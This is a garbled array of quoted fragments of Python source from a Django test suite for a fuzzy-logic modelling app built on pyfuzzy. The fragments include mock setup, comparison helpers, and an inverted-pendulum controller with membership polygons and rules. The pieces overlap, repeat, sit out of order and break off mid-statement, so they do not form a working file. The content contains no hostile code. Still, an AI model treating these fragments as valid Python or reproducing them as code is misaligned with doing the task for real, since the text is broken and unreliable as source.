"= [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2) ] # mocking inputvariablemodel_set",
"given type don't implement a __init__ function # (never overrided the object.__init__) except",
"utf-8 -*- import inspect import mock from django.test import TestCase from fuzzy_modeling.tests.utils import",
"output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_sets_only(self): \" should return the correct output when changing",
"fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon angle = InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle",
"\"test if all the rules's adj are the same instance of an output",
"system pyfuzzy_system_expected = System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy() for var in",
"output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast, # it gets its value",
"angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left']",
"test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single rule, but from model\" from fuzzy_modeling.models",
"BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion",
"new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict =",
"= AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = OutputVariable( defuzzify=COG, description='acceleration',",
"#: angle [rad] input_dict[\"dPhi_dT\"] = math.radians(90.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy()",
"angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop'] = Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position",
"new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_with_other_input(self): \" shoud return the correct corresponding Model",
"RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] =",
"acceleration [m/s²] } output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] }",
"position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)]))",
"# set defuzzification method and default norms INF = AlgebraicProduct() ACC = AlgebraicSum()",
"fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import",
"pdb.set_trace() # reset_mock(SystemModel,'inputvariablemodel_set') # reset_mock(SystemModel,'outputvariablemodel_set') # reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it",
"var in system.variables.items(): #: is output if not hasattr(var, 'fuzzify'): for adj_name, adj",
"new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \"",
"AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate ccw if",
"= Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration",
"= velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow'] = Adjective(Polygon([(-10.,0.),(-2.,1.),(0.,0.)])) velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] =",
") ), CER=CER ) system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow, # it",
"adj_name, adj in var.adjectives.items(): outputs_adjs.append(adj) for rule_name, rule in system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def",
"It also is used to demonstrate some features of pyfuzzy. This is the",
"#: position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #:",
"Rule( adjective=a_right_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far",
"from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input from",
"param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify):",
"\" self.assertIsInstance(new_set, set.__class__) params = [] try: for arg in inspect.getargspec(set.__init__).args: if arg",
"SystemModel(description=self.system_description) self.input_variable_mock = [ self._named_and_pyfuzzymixin_mock(\"iv%d\" % i) for i in xrange(1,2) ] self.output_variable_mock",
"system_model = SystemModel.from_pyfuzzy(self._createSystem()) output_a = new_pyfuzzy_system.variables[\"a\"] output_a.name = 'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name",
"System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy()",
"left'] = Rule( adjective=a_left_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER",
"changing all the sets to the new instance of same value \" from",
"for the pyfuzzy object with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy()",
"from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon import Polygon from",
"fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion",
"outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking rulemodel_set rulemodel_set",
"position [m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle",
"corresponding rule \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct",
"new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all the rules's adj",
"[m] input_dict[\"dX_dT\"] = 0.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(45.0) #: angle [rad]",
"fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG # set defuzzification method and default",
"system.rules.items(): self.assertIn(rule.adjective, outputs_adjs) def _test_adj(self, adj, new_adj): \" test only a given adjective",
"def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"] = 0.0 #:",
"cw if down'] = Rule( adjective=a_right_slow, # it gets its value from here",
"msg=\"%s != %s in %s\" % (op_call, new_op_call, operator) ) def test_set_only(self): \"",
"= Rule( adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER )",
"# mocking inputvariablemodel_set # inputvariablemodel_set = lambda : None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all",
"output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single",
"self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \" test only a given",
"symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import",
"None and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership =",
") system.rules['tilts left'] = Rule( adjective=a_left_slow, # it gets its value from here",
"!= 'ACC': params.append(arg) # will raise this exception when the given type don't",
"output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a rule has the",
"= InputVariable(fuzzify=Plain(),description='angle',min=0.,max=360.,unit='degrees') system.variables['Phi'] = angle angle.adjectives['up_more_right'] = Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] =",
"self._test_adj(adj, new_adj) #: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else:",
"= None try: cog = set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception,",
"an upright position as well as at the position X=0. It also is",
"down'] = Rule( adjective=a_right_slow, # it gets its value from here operator=Compound( AlgebraicProduct(),",
"this name \"\"\" var = mock.Mock() var.name = name var.get_pyfuzzy = lambda systme=None:",
"var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj)",
"} pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls):",
"value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import",
"overrided the object.__init__) except TypeError: pass for param_name in params: arg = getattr(defuzzify,",
"Input from fuzzy.norm.AlgebraicProduct import AlgebraicProduct CER = AlgebraicProduct() pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast, # it gets its value",
"given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not None and",
"None new_cog = None try: cog = set.getCOG() except Exception, e: # self.assertRaises(Exception,",
"rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud return the correct corresponding pyfuzzy object",
"far_right = Rule( adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER",
"in th System \" from fuzzy_modeling.models import AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self):",
"angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)])) angle.adjectives['down_more_left'] = Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right']",
"import Min #from fuzzy.norm.BoundedDifference import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import",
"outout when only changing the set to a SetModel in th System \"",
"for var_name, var in pyfuzzy_system_expected.variables.items(): new_var = new_pyfuzzy_system.variables[var_name] self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min,",
"Rule( adjective=a_left_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate",
"new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math input_dict = {} input_dict[\"X\"] = 190.0 #: position",
"Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity",
"inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) # will raise this exception when the",
"a variable or to be an object that has attr name and a",
"[m/s²] } output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1)",
"new_operator.input) op_call = operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s",
"new_set.getCOG) else: new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm):",
"Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast, # it gets its",
"new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership() # if membership != new_membership: #",
"= rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math",
"'a' : 0.0 #: acceleration [m/s²] } output_dict2 = { 'a' : 0.0",
"exception when the given type don't implement a __init__ function # (never overrided",
"CER=CER ) system.rules['accelerate cw if down'] = Rule( adjective=a_right_slow, # it gets its",
"operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound(",
"here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model)",
"= adj.getMembership() new_membership = new_adj.getMembership() # if membership != new_membership: # import pdb;",
"System \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import",
"rule.name : rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description)",
"it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule(",
"TypeError: pass for param_name in params: arg = getattr(set, param_name) new_arg = getattr(new_set,",
"here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]), ) ), CER=CER ) system.rules['accelerate",
"setUp(self): # self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal #",
"try: cog = set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG)",
"self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test only a given rule\"",
"xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2) ]",
"same value, and changing the corresponding rule \" from fuzzy_modeling.models import OutputVariableModel from",
"given norm \" self.assertIsInstance(new_norm, norm.__class__) params = [] try: for arg in inspect.getargspec(norm.__init__).args:",
"new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test only a given",
"import Not system.rules['stop'] = Rule( adjective=a_stop, # it gets its value from here",
"object \" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy system",
"'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2)",
"rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system",
"param_name in params: arg = getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg)",
"self.aluno = mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import pdb;",
"pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system)",
"-*- coding: utf-8 -*- import inspect import mock from django.test import TestCase from",
"Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]),",
"new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__",
"fuzzy.System.System(description= \"\"\"This fuzzy system is to control the inverted pendulum into an upright",
"in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) # will raise this exception when",
"= AlgebraicSum() CER = AlgebraicProduct() COG = COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable",
"import mock from django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock from fuzzy_modeling.models.systems import",
"= new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected = System(self.system_description) variable_dict = {",
"var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict =",
"from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) far_right.name = 'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system,",
"new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value = var.getValue()",
"reset_mock(SystemModel,'rulemodel_set') pass def tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name):",
"set.getCOG() except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog =",
"Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] = Adjective(Polygon([(0.,0.),(5.,1.),(20.,0.)])) position.adjectives['right_far'] = Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT']",
"= InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] =",
"output_dict2 = { 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.fuzzify(i_dict1) pyfuzzy_system_expected.inference() pyfuzzy_system_expected.defuzzify(output_dict1)",
"different fuzzy norm in normally symmetrical rules.\"\"\") from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.norm.AlgebraicSum",
"0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable from fuzzy.Adjective import",
"= position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop'] = Adjective(Polygon([(-5.,0.),(0.,1.),(5.,0.)])) position.adjectives['right_near'] =",
"pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the correct outout when only changing the",
"new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.Adjective import Adjective from",
"= 500.0 #: velocity [m/s] input_dict[\"Phi\"] = math.radians(270.0) #: angle [rad] input_dict[\"dPhi_dT\"] =",
"import Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not import Not system.rules['stop'] = Rule(",
"COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def",
"self._test_set(adj.set, new_adj.set) if adj.COM is not None and new_adj.COM is not None: self._test_norm(adj.COM,",
"operator.__class__) if operator.__class__.__name__ == 'Compound': self._test_norm(operator.norm, new_operator.norm) for i_inputs in xrange(0, len(operator.inputs)): inp",
"outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set",
"operator.__class__.__name__ == 'Not': self._test_operator(operator.input, new_operator.input) op_call = operator() new_op_call = new_operator() self.assertEquals( op_call,",
"= new_adj.getMembership() # if membership != new_membership: # import pdb; pdb.set_trace() self.assertEquals( membership,",
"a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not None",
"self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System system =",
"'a' a_right_fast = output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast, # it",
"to a OutputVariableModel in th System \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum",
"= var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #:",
"Rule( adjective=a_stop, # it gets its value from here operator=Compound( Max(), Compound( AlgebraicProduct(),",
"output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a rule has the same adjectives",
"Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per second^2') system.variables['a'] = acceleration acceleration.adjectives['left_fast']",
"), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow, # it",
"new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s in %s\" % (op_call,",
"= Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] =",
"new_adj) #: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output else: self._test_defuzzify(var.defuzzify,",
"xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif operator.__class__.__name__ ==",
"+ self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict = { rule.name : rule.get_pyfuzzy() for",
"'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not':",
"{ 'a' : 0.0 #: acceleration [m/s²] } pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'],",
"the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_system_from_pyfuzzy_changing_a_single_rule(self): \"test",
"Input(system.variables[\"X\"].adjectives[\"right_near\"]), Input(system.variables[\"X\"].adjectives[\"right_far\"]) ), Compound( DombiUnion(0.25), Input(system.variables[\"dX_dT\"].adjectives[\"right_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"right_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER",
"should return the correct output when changing all the sets to the new",
"self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj,",
"adj, new_adj): \" test only a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set)",
"new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s in %s\" % (op_call, new_op_call, operator)",
"from fuzzy.set.Polygon import Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.),",
"output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self): \" check if a rule",
"here operator=Compound( Max(), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"stop\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ),",
"per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop']",
"mocking outputvariablemodel_set outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set =",
